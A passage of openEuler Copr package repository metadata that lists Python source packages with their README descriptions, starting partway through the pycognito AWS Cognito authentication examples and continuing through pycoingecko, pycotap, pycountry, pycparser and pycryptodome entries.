  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')

  u.authenticate(password='bobs-password')
  ```



  - **password:** - User's password



  Authenticate the user using admin super privileges

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')

  u.admin_authenticate(password='bobs-password')
  ```

  - **password:** User's password



  Sends a verification code to the user to use to change their password.

  ```python
  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')

  u.initiate_forgot_password()
  ```



  No arguments



  Allows a user to enter a code provided when they reset their password
  to update their password.

  ```python
  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')

  u.confirm_forgot_password('your-confirmation-code','your-new-password')
  ```



  - **confirmation_code:** The confirmation code sent by a user's request
    to retrieve a forgotten password
  - **password:** New password



  Changes the user's password

  ```python
  from pycognito import Cognito



  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')

  u.change_password('previous-password','proposed-password')
  ```



  - **previous_password:** - User's previous password
  - **proposed_password:** - The password that the user wants to change to.



  Use the confirmation code that is sent via email or text to confirm the user's account

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id')

  u.confirm_sign_up('users-conf-code',username='bob')
  ```



  - **confirmation_code:** Confirmation code sent via text or email
  - **username:** User's username



  Update the user's profile

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')

  u.update_profile({'given_name':'Edward','family_name':'Smith',},attr_map=dict())
  ```



  - **attrs:** Dictionary of attribute name, values
  - **attr_map:** Dictionary map from Cognito attributes to attribute names we would like to show to our users



  Send verification email or text for either the email or phone attributes.

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')

  u.send_verification(attribute='email')
  ```



  - **attribute:** - The attribute (email or phone) that needs to be verified



  Returns an instance of the specified user_class.

  ```python
  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')

  u.get_user_obj(username='bjones',
      attribute_list=[{'Name': 'string','Value': 'string'},],
      metadata={},
      attr_map={"given_name":"first_name","family_name":"last_name"}
      )
  ```



  - **username:** Username of the user
  - **attribute_list:** List of tuples that represent the user's attributes as returned by the admin_get_user or get_user boto3 methods
  - **metadata: (optional)** Metadata about the user
  - **attr_map: (optional)** Dictionary that maps the Cognito attribute names to what we'd like to display to the users



  Get all of the user's attributes. Gets the user's attributes using Boto3 and uses that info to create an instance of the user_class

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')

  user = u.get_user(attr_map={"given_name":"first_name","family_name":"last_name"})
  ```



  - **attr_map:** Dictionary map from Cognito attributes to attribute names we would like to show to our users



  Get a list of the user in the user pool.

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id')

  user = u.get_users(attr_map={"given_name":"first_name","family_name":"last_name"})
  ```



  - **attr_map:** Dictionary map from Cognito attributes to attribute names we would like to show to our users



  Returns an instance of the specified group_class.

  ```python
  u = Cognito('your-user-pool-id', 'your-client-id')

  group_data = {'GroupName': 'user_group', 'Description': 'description',
              'Precedence': 1}

  group_obj = u.get_group_obj(group_data)
  ```



  - **group_data:** Dictionary with group's attributes.



  Get all of the group's attributes. Returns an instance of the group_class.
  Requires developer credentials.

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id')

  group = u.get_group(group_name='some_group_name')
  ```



  - **group_name:** Name of a group



  Get a list of groups in the user pool. Requires developer credentials.

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id')

  groups = u.get_groups()
  ```



  Checks the exp attribute of the access_token and either refreshes the tokens by calling the renew_access_tokens method or does nothing. **IMPORTANT:** Access token is required

  ```python
  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')

  u.check_token()
  ```



  No arguments for check_token



  Verifies the current `id_token` and `access_token`.
  An exception will be thrown if they do not pass verification.
  It can be useful to call this method immediately after instantiation when you're providing externally-remembered tokens to the `Cognito()` constructor.
  Note that if you're calling `check_tokens()` after instantitation, you'll still want to call `verify_tokens()` afterwards it in case it did nothing.
  This method also ensures that the `id_claims` and `access_claims` attributes are set with the verified claims from each token.

  ```python
  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')

  u.check_tokens()  # Optional, if you want to maybe renew the tokens
  u.verify_tokens()
  ```



  No arguments for verify_tokens



  Logs the user out of all clients and removes the expires_in, expires_datetime, id_token, refresh_token, access_token, and token_type attributes.

  ```python
  from pycognito import Cognito



  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')

  u.logout()
  ```



  No arguments for logout



  Get the secret code to issue the software token MFA code.
  Begins setup of time-based one-time password (TOTP) multi-factor authentication (MFA) for a user.

  ```python
  from pycognito import Cognito



  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')

  secret_code = u.associate_software_token()

  ```



  No arguments for associate_software_token



  Verify the 6-digit code issued based on the secret code issued by associate_software_token. If this validation is successful, Cognito will enable Software token MFA.

  ```python
  from pycognito import Cognito



  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')

  secret_code = u.associate_software_token()

  code = input('Enter the 6-digit code.')
  device_name = input('Enter the device name')
  u.verify_software_token(code, device_name)
  ```



  - **code:** 6-digit code generated by the TOTP generator app
  - **device_name:** Name of a device



  Enable and prioritize Software Token MFA and SMS MFA.
  If both Software Token MFA and SMS MFA are invalid, the preference value will be ignored.

  ```python
  from pycognito import Cognito



  u = Cognito('your-user-pool-id','your-client-id',
      id_token='id-token',refresh_token='refresh-token',
      access_token='access-token')


  u.set_user_mfa_preference(True, False, "SMS")

  u.set_user_mfa_preference(False, True, "SOFTWARE_TOKEN")

  u.set_user_mfa_preference(True, True, "SOFTWARE_TOKEN")

  u.set_user_mfa_preference(False, False)
  ```



  - **sms_mfa:** SMS MFA enabled / disabled (bool)
  - **software_token_mfa:** Software Token MFA enabled / disabled (bool)
  - **preferred:** Which is the priority, SMS or Software Token? The expected value is "SMS" or "SOFTWARE_TOKEN". However, it is not needed only if both of the previous arguments are False.



  Responds when a Software Token MFA challenge is requested at login.

  ```python
  from pycognito import Cognito
  from pycognito.exceptions import SoftwareTokenMFAChallengeException



  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')

  try:
      u.authenticate(password='bobs-password')
  except SoftwareTokenMFAChallengeException as error:
      code = input('Enter the 6-digit code generated by the TOTP generator (such as Google Authenticator).')
      u.respond_to_software_token_mfa_challenge(code)
  ```

  When recreating a Cognito instance

  ```python
  from pycognito import Cognito
  from pycognito.exceptions import SoftwareTokenMFAChallengeException



  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')

  try:
      u.authenticate(password='bobs-password')
  except SoftwareTokenMFAChallengeException as error:
      mfa_tokens = error.get_tokens()

  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')
  code = input('Enter the 6-digit code generated by the TOTP generator (such as Google Authenticator).')
  u.respond_to_software_token_mfa_challenge(code, mfa_tokens)

  ```



  - **code:** 6-digit code generated by the TOTP generator app
  - **mfa_tokens:** mfa_token stored in MFAChallengeException. Not required if you have not regenerated the Cognito instance.



  Responds when a SMS MFA challenge is requested at login.

  ```python
  from pycognito import Cognito
  from pycognito.exceptions import SMSMFAChallengeException



  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')

  try:
      u.authenticate(password='bobs-password')
  except SMSMFAChallengeException as error:
      code = input('Enter the 6-digit code you received by SMS.')
      u.respond_to_sms_mfa_challenge(code)
  ```

  When recreating a Cognito instance

  ```python
  from pycognito import Cognito
  from pycognito.exceptions import SMSMFAChallengeException



  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')

  try:
      u.authenticate(password='bobs-password')
  except SMSMFAChallengeException as error:
      mfa_tokens = error.get_tokens()

  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')
  code = input('Enter the 6-digit code generated by the TOTP generator (such as Google Authenticator).')
  u.respond_to_sms_mfa_challenge(code, mfa_tokens)

  ```



  - **code:** 6-digit code you received by SMS
  - **mfa_tokens:** mfa_token stored in MFAChallengeException. Not required if you have not regenerated the Cognito instance.



  The `AWSSRP` class is used to perform [SRP(Secure Remote Password protocol)](https://www.ietf.org/rfc/rfc2945.txt) authentication.
  This is the preferred method of user authentication with AWS Cognito.
  The process involves a series of authentication challenges and responses, which if successful,
  results in a final response that contains ID, access and refresh tokens.



  The `AWSSRP` class takes a username, password, cognito user pool id, cognito app id, an optional
  client secret (if app client is configured with client secret), an optional pool_region or `boto3` client.
  Afterwards, the `authenticate_user` class method is used for SRP authentication.

  ```python
  import boto3
  from pycognito.aws_srp import AWSSRP

  client = boto3.client('cognito-idp')
  aws = AWSSRP(username='username', password='password', pool_id='user_pool_id',
               client_id='client_id', client=client)
  tokens = aws.authenticate_user()
  ```



  `pycognito.utils.RequestsSrpAuth` is a [Requests](https://docs.python-requests.org/en/latest/)
  authentication plugin to automatically populate an HTTP header with a Cognito token. By default, it'll populate
  the `Authorization` header using the Cognito Access Token as a `bearer` token.

  `RequestsSrpAuth` handles fetching new tokens using the refresh tokens.



  ```python
  import requests
  from pycognito.utils import RequestsSrpAuth

  auth = RequestsSrpAuth(
    username='myusername',
    password='secret',
    user_pool_id='eu-west-1_1234567',
    client_id='4dn6jbcbhqcofxyczo3ms9z4cc',
    user_pool_region='eu-west-1',
  )

  response = requests.get('http://test.com', auth=auth)
  ```


pkgId: b81917ce8ca7fdff567db85a9a117d366a5cd2c2bc2e87ee3379d3051d8507b2
name: python-pycoingecko
arch: src
version: 3.1.0
epoch: 0
release: 1
summary: Python wrapper around the CoinGecko API
url: https://github.com/man-c/pycoingecko
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5a2c5382-d42a-4c87-ba42-a453dd328f32
location_href: 00004650-python-pycoingecko/python-pycoingecko-3.1.0-1.src.rpm
checksum_type: sha256
description:
  [![PyPi Version](https://img.shields.io/pypi/v/pycoingecko.svg)](https://pypi.python.org/pypi/pycoingecko/)
  ![GitHub](https://img.shields.io/github/license/man-c/pycoingecko)

  Python3 wrapper around the [CoinGecko](https://www.coingecko.com/) API (V3)


  PyPI
  ```bash
  pip install -U pycoingecko
  ```
  or from source
  ```bash
  git clone https://github.com/man-c/pycoingecko.git
  cd pycoingecko
  python3 setup.py install
  ```



  For **free API**:
  ```python
  from pycoingecko import CoinGeckoAPI
  cg = CoinGeckoAPI()
  ```

  For users with **Pro API** Key:
  ```python
  from pycoingecko import CoinGeckoAPI
  cg = pycoingecko.CoinGeckoAPI(api_key='YOUR_API_KEY')
  ```


  The required parameters for each endpoint are defined as required (mandatory) parameters for the corresponding functions.\
  **Any optional parameters** can be passed using same names, as defined in CoinGecko API doc (https://www.coingecko.com/en/api/documentation).

  For any parameter:
  - ***Lists** are supported as input for multiple-valued comma-separated parameters\
    (e.g. see /simple/price usage examples).*
  - ***Booleans** are supported as input for boolean type parameters; they can be `str` ('true', 'false'') or `bool` (`True`, `False`)\
    (e.g. see /simple/price usage examples).*

  Usage examples:
  ```python

  >>> cg.get_price(ids='bitcoin', vs_currencies='usd')
  {'bitcoin': {'usd': 3462.04}}

  >>> cg.get_price(ids='bitcoin,litecoin,ethereum', vs_currencies='usd')

  >>> cg.get_price(ids=['bitcoin', 'litecoin', 'ethereum'], vs_currencies='usd')
  {'bitcoin': {'usd': 3461.27}, 'ethereum': {'usd': 106.92}, 'litecoin': {'usd': 32.72}}

  >>> cg.get_price(ids='bitcoin,litecoin,ethereum', vs_currencies='usd,eur')

  >>> cg.get_price(ids=['bitcoin', 'litecoin', 'ethereum'], vs_currencies=['usd', 'eur'])
  {'bitcoin': {'usd': 3459.39, 'eur': 3019.33}, 'ethereum': {'usd': 106.91, 'eur': 93.31}, 'litecoin': {'usd': 32.72, 'eur': 28.56}}


  >>> cg.get_price(ids='bitcoin', vs_currencies='usd', include_market_cap='true', include_24hr_vol='true', include_24hr_change='true', include_last_updated_at='true')
  {'bitcoin': {'usd': 3458.74, 'usd_market_cap': 60574330199.29028, 'usd_24h_vol': 4182664683.6247883, 'usd_24h_change': 1.2295378479069035, 'last_updated_at': 1549071865}}

  >>> cg.get_price(ids='bitcoin', vs_currencies='usd', include_market_cap=True, include_24hr_vol=True, include_24hr_change=True, include_last_updated_at=True)
  {'bitcoin': {'usd': 3458.74, 'usd_market_cap': 60574330199.29028, 'usd_24h_vol': 4182664683.6247883, 'usd_24h_change': 1.2295378479069035, 'last_updated_at': 1549071865}}
  ```


  https://www.coingecko.com/en/api/documentation


  > :warning: **Endpoints documentation**: To make sure that you are using properly each endpoint you should check the [API documentation](https://www.coingecko.com/en/api/documentation). Return behaviour and parameters of the endpoints, such as *pagination*, might have changed. <br> Any **optional parameters** defined in CoinGecko API doc can be passed as function parameters using same parameters names with the API *(see Examples above)*.
  <details><summary>ping</summary>
  <p>

  * **/ping** (Check API server status)
    ```python
    cg.ping()
    ```
  </details>

  <details><summary>simple</summary>
  <p>

  * **/simple/price** (Get the current price of any cryptocurrencies in any other supported currencies that you need)
    ```python
    cg.get_price()
    ```
  * **/simple/token_price/{id}** (Get current price of tokens (using contract addresses) for a given platform in any other currency that you need)
    ```python
    cg.get_token_price()
    ```
  * **/simple/supported_vs_currencies** (Get list of supported_vs_currencies)
    ```python
    cg.get_supported_vs_currencies()
    ```
  </details>

  <details><summary>coins</summary>
  <p>

  * **/coins/list** (List all supported coins id, name and symbol (no pagination required))
    ```python
    cg.get_coins_list()
    ```

  * **/coins/markets** (List all supported coins price, market cap, volume, and market related data)
    ```python
    cg.get_coins_markets()
    ```
  * **/coins/{id}** (Get current data (name, price, market, ... including exchange tickers) for a coin)
    ```python
    cg.get_coin_by_id()
    ```
  * **/coins/{id}/tickers** (Get coin tickers (paginated to 100 items))
    ```python
    cg.get_coin_ticker_by_id()
    ```
  * **/coins/{id}/history** (Get historical data (name, price, market, stats) at a given date for a coin)
    ```python
    cg.get_coin_history_by_id()
    ```
  * **/coins/{id}/market_chart** (Get historical market data include price, market cap, and 24h volume (granularity auto))
    ```python
    cg.get_coin_market_chart_by_id()
    ```
  * **/coins/{id}/market_chart/range** (Get historical market data include price, market cap, and 24h volume within a range of timestamp (granularity auto))
    ```python
    cg.get_coin_market_chart_range_by_id()
    ```

  [//]: # (* **/coins/{id}/status_updates** &#40;Get status updates for a given coin &#40;beta&#41;&#41;)

  [//]: # (  ```python)

  [//]: # (  cg.get_coin_status_updates_by_id&#40;&#41;)

  [//]: # (  ```)
  * **/coins/{id}/ohlc** (Get coin's OHLC (beta))
    ```python
    cg.get_coin_ohlc_by_id()
    ```
  </details>

  <details><summary>contract</summary>
  <p>

  * **/coins/{id}/contract/{contract_address}** (Get coin info from contract address)
    ```python
    cg.get_coin_info_from_contract_address_by_id()
    ```
  * **/coins/{id}/contract/{contract_address}/market_chart/** (Get historical market data include price, market cap, and 24h volume (granularity auto) from a contract address)
    ```python
    cg.get_coin_market_chart_from_contract_address_by_id()
    ```
  * **/coins/{id}/contract/{contract_address}/market_chart/range** (Get historical market data include price, market cap, and 24h volume within a range of timestamp (granularity auto) from a contract address)
    ```python
    cg.get_coin_market_chart_range_from_contract_address_by_id()
    ```
  </details>

  <details><summary>asset_platforms</summary>
  <p>

  * **/asset_platforms** (List all asset platforms (Blockchain networks))
    ```python
    cg.get_asset_platforms()
    ```
  </details>

  <details><summary>categories</summary>
  <p>

  * **/coins/categories/list** (List all categories)
    ```python
    cg.get_coins_categories_list()
    ```
  * **coins/categories** (List all categories with market data)
    ```python
    cg.get_coins_categories()
    ```
  </details>

  <details><summary>exchanges</summary>
  <p>

  * **/exchanges** (List all exchanges)
    ```python
    cg.get_exchanges_list()
    ```
  * **/exchanges/list** (List all supported markets id and name (no pagination required))
    ```python
    cg.get_exchanges_id_name_list()
    ```
  * **/exchanges/{id}** (Get exchange volume in BTC and top 100 tickers only)
    ```python
    cg.get_exchanges_by_id()
    ```
  * **/exchanges/{id}/tickers** (Get exchange tickers (paginated, 100 tickers per page))
    ```python
    cg.get_exchanges_tickers_by_id()
    ```

  [//]: # (* **/exchanges/{id}/status_updates** &#40;Get status updates for a given exchange &#40;beta&#41;&#41;)

  [//]: # (  ```python)

  [//]: # (  cg.get_exchanges_status_updates_by_id&#40;&#41;)

  [//]: # (  ```)
  * **/exchanges/{id}/volume_chart** (Get volume_chart data for a given exchange)
    ```python
    cg.get_exchanges_volume_chart_by_id()
    ```
  </details>

  [//]: # (<details><summary>finance</summary>)

  [//]: # (<p>)

  [//]: # ()
  [//]: # (* **/finance_platforms** &#40;List all finance platforms&#41;)

  [//]: # (  ```python)

  [//]: # (  cg.get_finance_platforms&#40;&#41;)

  [//]: # (  ```)

  [//]: # (* **/finance_products** &#40;List all finance products&#41;)

  [//]: # (  ```python)

  [//]: # (  cg.get_finance_products&#40;&#41;)

  [//]: # (  ```)

  [//]: # (</details>)

  <details><summary>indexes</summary>
  <p>

  * **/indexes** (List all market indexes)
  ```python
  cg.get_indexes()
  ```
  * **/indexes/{market_id}/{id}** (Get market index by market id and index id)
  ```python
  cg.get_indexes_by_market_id_and_index_id()
  ```
  * **/indexes/list** (List market indexes id and name)
  ```python
  cg.get_indexes_list()
  ```
  </details>

  <details><summary>derivatives</summary>
  <p>

  * **/derivatives** (List all derivative tickers)
    ```python
    cg.get_derivatives()
    ```
  * **/derivatives/exchanges** (List all derivative exchanges)
    ```python
    cg.get_derivatives_exchanges()
    ```
  * **/derivatives/exchanges/{id}** (Show derivative exchange data)
    ```python
    cg.get_derivatives_exchanges_by_id()
    ```
  * **/derivatives/exchanges/list** (List all derivative exchanges name and identifier)
    ```python
    cg.get_derivatives_exchanges_list()
    ```
  </details>

  <details><summary>nfts (beta)</summary>
  <p>

  * **/nfts/list** (List all supported NFT ids, paginated by 100 items per page, paginated to 100 items)
    ```python
    cg.get_nfts_list()
    ```
  * **/nfts/{id}** (Get current data (name, price_floor, volume_24h ...) for an NFT collection. native_currency (string) is only a representative of the currency.)
    ```python
    cg.get_nfts_by_id()
    ```
  * **/nfts/{asset_platform_id}/contract/{contract_address}** (Get current data (name, price_floor, volume_24h ...) for an NFT collection. native_currency (string) is only a representative of the currency)
    ```python
    cg.get_nfts_collection_by_asset_platform_id_and_contract_address()
    ```
  </details>

  [//]: # (<details><summary>status_updates</summary>)

  [//]: # (<p>)

  [//]: # ()
  [//]: # (* **/status_updates** &#40;List all status_updates with data &#40;description, category, created_at, user, user_title and pin&#41;&#41;)

  [//]: # (  ```python)

  [//]: # (  cg.get_status_updates&#40;&#41;)

  [//]: # (  ```)

  [//]: # (</details>)

  [//]: # (<details><summary>events</summary>)

  [//]: # (<p>)

  [//]: # ()
  [//]: # (* **/events** &#40;Get events, paginated by 100&#41;)

  [//]: # (  ```python)

  [//]: # (  cg.get_events&#40;&#41;)

  [//]: # (  ```)

  [//]: # (* **/events/countries** &#40;Get list of event countries&#41;)

  [//]: # (  ```python)

  [//]: # (  cg.get_events_countries&#40;&#41;)

  [//]: # (  ```)

  [//]: # (* **/events/types** &#40;Get list of events types&#41;)

  [//]: # (  ```python)

  [//]: # (  cg.get_events_types&#40;&#41;)

  [//]: # (  ```)

  [//]: # (</details>)

  <details><summary>exchange_rates</summary>
  <p>

  * **/exchange_rates** (Get BTC-to-Currency exchange rates)
    ```python
    cg.get_exchange_rates()
    ```
  </details>

  <details><summary>search</summary>
  <p>

  * **/search** (Search for coins, categories and markets on CoinGecko)
    ```python
    cg.search()
    ```
  </details>

  <details><summary>trending</summary>
  <p>

  * **/search/trending** (Get trending search coins (Top-7) on CoinGecko in the last 24 hours)
    ```python
    cg.get_search_trending()
    ```
  </details>

  <details><summary>global</summary>
  <p>

    - **/global** (Get cryptocurrency global data)
      ```python
      cg.get_global()
      ```
    - **/global/decentralized_finance_defi** (Get cryptocurrency global decentralized finance(defi) data)
      ```python
      cg.get_global_decentralized_finance_defi()
      ```
  </details>

  <details><summary>companies (beta)</summary>
  <p>

    - **/companies/public_treasury/{coin_id}** (Get public companies data)
      ```python
      cg.get_companies_public_treasury_by_coin_id()
      ```
  </details>




  Install required packages for testing using:
  ```bash
  pip install pytest responses
  ```



  Run unit tests with:

  ```

  pytest tests
  ```


  [MIT](https://choosealicense.com/licenses/mit/)


pkgId: 8f3b934603e1b19eecd62eb302c78365a6faf0a9aac2f6d09e0a752e766de49a
name: python-pycotap
arch: src
version: 1.2.2
epoch: 0
release: 1
summary: A tiny test runner that outputs TAP results to standard output.
url: https://el-tramo.be/pycotap
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-23646b38-ebe2-4e4b-82e7-421b65e798d3
location_href: 00004654-python-pycotap/python-pycotap-1.2.2-1.src.rpm
checksum_type: sha256
description:
  `pycotap` is a simple Python test runner for ``unittest`` that outputs
  `Test Anything Protocol <http://testanything.org>`_ results directly to standard output.

  Contrary to other TAP runners for Python, ``pycotap`` ...

  - ... prints TAP (and *only* TAP) to standard output instead of to a separate file,
    allowing you to pipe it directly to TAP pretty printers and processors
    (such as the ones listed on
    `the tape page <https://www.npmjs.com/package/tape#pretty-reporters>`_). By
    piping it to other consumers, you can avoid the need to add
    specific test runners to your test code. Since the TAP results
    are printed as they come in, the consumers can directly display results while
    the tests are run.

  - ... only contains a TAP reporter, so no parsers, no frameworks, no dependencies, ...

  - ... is configurable: you can choose how you want the test output and test result
    diagnostics to end up in your TAP output (as TAP diagnostics, YAML blocks, or
    attachments). The defaults are optimized for a `Jenkins <http://jenkins-ci.org>`_ based
    flow.

  Documentation and examples can be found on `the pycotap page
  <https://el-tramo.be/pycotap>`_.


pkgId: 4b6c35084ad930e8b9a54c98d8996b043a2a5518966ec721a1f3145ca2dbe453
name: python-pycountry
arch: src
version: 22.3.5
epoch: 0
release: 1
summary: ISO country, subdivision, language, currency and script definitions and their translations
url: https://github.com/flyingcircusio/pycountry
rpm_license: LGPL 2.1
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-64a19aab-8db9-4a47-a8f7-fd9afbafd4bf
location_href: 00004655-python-pycountry/python-pycountry-22.3.5-1.src.rpm
checksum_type: sha256
description:
  pycountry provides the ISO databases for the standards:
  * `639-3 <https://en.wikipedia.org/wiki/ISO_639-3>`_ Languages
  * `3166 <https://en.wikipedia.org/wiki/ISO_3166>`_ Countries
  * `3166-3 <https://en.wikipedia.org/wiki/ISO_3166-3>`_ Deleted countries
  * `3166-2 <https://en.wikipedia.org/wiki/ISO_3166-2>`_ Subdivisions of countries
  * `4217 <https://en.wikipedia.org/wiki/ISO_4217>`_ Currencies
  * `15924 <https://en.wikipedia.org/wiki/ISO_15924>`_ Scripts
  The package includes a copy from Debian's `pkg-isocodes
  <https://salsa.debian.org/iso-codes-team/iso-codes>`_ and makes the data
  accessible through a Python API.
  Translation files for the various strings are included as well.


pkgId: 11cb165fbfa72cbee4d3c9348eef4fb37244da87308f7669a8209de4c615bfaa
name: python-pycountry-convert
arch: src
version: 0.7.2
epoch: 0
release: 1
summary: Extension of Python package pycountry providing conversion functions.
url: https://github.com/TuneLab/pycountry-convert
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fe7b1236-46a6-48b5-b6d0-c99e857f67c2
location_href: 00010508-python-pycountry-convert/python-pycountry-convert-0.7.2-1.src.rpm
checksum_type: sha256
description:
  Extension of Python package `pycountry <https://pypi.python.org/pypi/pycountry>`_ providing conversion functions.


pkgId: 19df6eedf040fb4e7f76c3cc2f2b1cdf5564a46356f726ec1e047d4aa432e30f
name: python-pycparser
arch: src
version: 2.21
epoch: 0
release: 1
summary: C parser in Python
url: https://github.com/eliben/pycparser
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c37add29-8dcd-4903-93e5-903c65ae74ec
location_href: 00008910-python-pycparser/python-pycparser-2.21-1.src.rpm
checksum_type: sha256
description:
  pycparser is a complete parser of the C language, written in
          pure Python using the PLY parsing library.
          It parses C code into an AST and can serve as a front-end for
          C compilers or analysis tools.


pkgId: 54f306a2ff101caa028041a9c88e5c886a1a7b31b5591354c63e4135b28b945d
name: python-pycryptodome
arch: src
version: 3.17
epoch: 0
release: 1
summary: Cryptographic library for Python
url: https://www.pycryptodome.org
rpm_license: BSD, Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d7470403-7445-48af-a295-0836d70a0f96
location_href: 00009124-python-pycryptodome/python-pycryptodome-3.17-1.src.rpm
checksum_type: sha256
description:
  PyCryptodome is a self-contained Python package of low-level
  cryptographic primitives.
  It supports Python 2.7, Python 3.5 and newer, and PyPy.
  You can install it with::
      pip install pycryptodome
  All modules are installed under the ``Crypto`` package.
  Check the pycryptodomex_ project for the equivalent library that
  works under the ``Cryptodome`` package.
  PyCryptodome is a fork of PyCrypto. It brings several enhancements
  with respect to the last official version of PyCrypto (2.6.1),
  for instance:
  * Authenticated encryption modes (GCM, CCM, EAX, SIV, OCB)
  * Accelerated AES on Intel platforms via AES-NI
  * First class support for PyPy
  * Elliptic curves cryptography (NIST P-curves; Ed25519, Ed448)
  * Better and more compact API (`nonce` and `iv` attributes for ciphers,
    automatic generation of random nonces and IVs, simplified CTR cipher mode,
    and more)
  * SHA-3 (including SHAKE XOFs) and BLAKE2 hash algorithms
  * Salsa20 and ChaCha20 stream ciphers
  * scrypt and HKDF
  * Deterministic (EC)DSA and EdDSA
  * Password-protected PKCS#8 key containers
  * Shamir's Secret Sharing scheme
  * Random numbers get sourced directly from the OS (and not from a CSPRNG in userspace)
  * Simplified install process, including better support for Windows
  * Cleaner RSA and DSA key generation (largely based on FIPS 186-4)
  * Major clean ups and simplification of the code base
  PyCryptodome is not a wrapper to a separate C library like *OpenSSL*.
  To the largest possible extent, algorithms are implemented in pure Python.
  Only the pieces that are extremely critical to performance (e.g. block ciphers)
  are implemented as C extensions.
  For more information, see the `homepage`_.
  All the code can be downloaded from `GitHub`_.


pkgId: 3e9bdc6a38c431033e18641a009139b0e531596714eaab4055f63b3d6e61f3bb
name: python-pycryptodome-debuginfo
arch: x86_64
version: 3.17
epoch: 0
release: 1
summary: Debug information for package python-pycryptodome
url: https://www.pycryptodome.org
rpm_license: BSD, Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-d7470403-7445-48af-a295-0836d70a0f96
rpm_sourcerpm: python-pycryptodome-3.17-1.src.rpm
location_href: 00009124-python-pycryptodome/python-pycryptodome-debuginfo-3.17-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pycryptodome.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 2cfd0b4c43ea76d27e0b0de10a62dd2f39f2315cf99873e0404c4002941870c4
name: python-pycryptodome-debugsource
arch: x86_64
version: 3.17
epoch: 0
release: 1
summary: Debug sources for package python-pycryptodome
url: https://www.pycryptodome.org
rpm_license: BSD, Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-d7470403-7445-48af-a295-0836d70a0f96
rpm_sourcerpm: python-pycryptodome-3.17-1.src.rpm
location_href: 00009124-python-pycryptodome/python-pycryptodome-debugsource-3.17-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pycryptodome.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 9dafffbd3535047d9d4b369b59c89c4595d84d50aaa0a3411492b4813bab4148
name: python-pycryptodomex
arch: src
version: 3.17
epoch: 0
release: 1
summary: Cryptographic library for Python
url: https://www.pycryptodome.org
rpm_license: BSD, Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6476841b-baf8-4498-a554-fe350d21172d
location_href: 00009041-python-pycryptodomex/python-pycryptodomex-3.17-1.src.rpm
checksum_type: sha256
description:
  PyCryptodome is a self-contained Python package of low-level
  cryptographic primitives.
  It supports Python 2.7, Python 3.5 and newer, and PyPy.
  You can install it with::
      pip install pycryptodomex
  All modules are installed under the ``Cryptodome`` package.
  Check the pycryptodome_ project for the equivalent library that
  works under the ``Crypto`` package.
  PyCryptodome is a fork of PyCrypto. It brings several enhancements
  with respect to the last official version of PyCrypto (2.6.1),
  for instance:
  * Authenticated encryption modes (GCM, CCM, EAX, SIV, OCB)
  * Accelerated AES on Intel platforms via AES-NI
  * First class support for PyPy
  * Elliptic curves cryptography (NIST P-curves; Ed25519, Ed448)
  * Better and more compact API (`nonce` and `iv` attributes for ciphers,
    automatic generation of random nonces and IVs, simplified CTR cipher mode,
    and more)
  * SHA-3 (including SHAKE XOFs) and BLAKE2 hash algorithms
  * Salsa20 and ChaCha20 stream ciphers
  * scrypt and HKDF
  * Deterministic (EC)DSA and EdDSA
  * Password-protected PKCS#8 key containers
  * Shamir's Secret Sharing scheme
  * Random numbers get sourced directly from the OS (and not from a CSPRNG in userspace)
  * Simplified install process, including better support for Windows
  * Cleaner RSA and DSA key generation (largely based on FIPS 186-4)
  * Major clean ups and simplification of the code base
  PyCryptodome is not a wrapper to a separate C library like *OpenSSL*.
  To the largest possible extent, algorithms are implemented in pure Python.
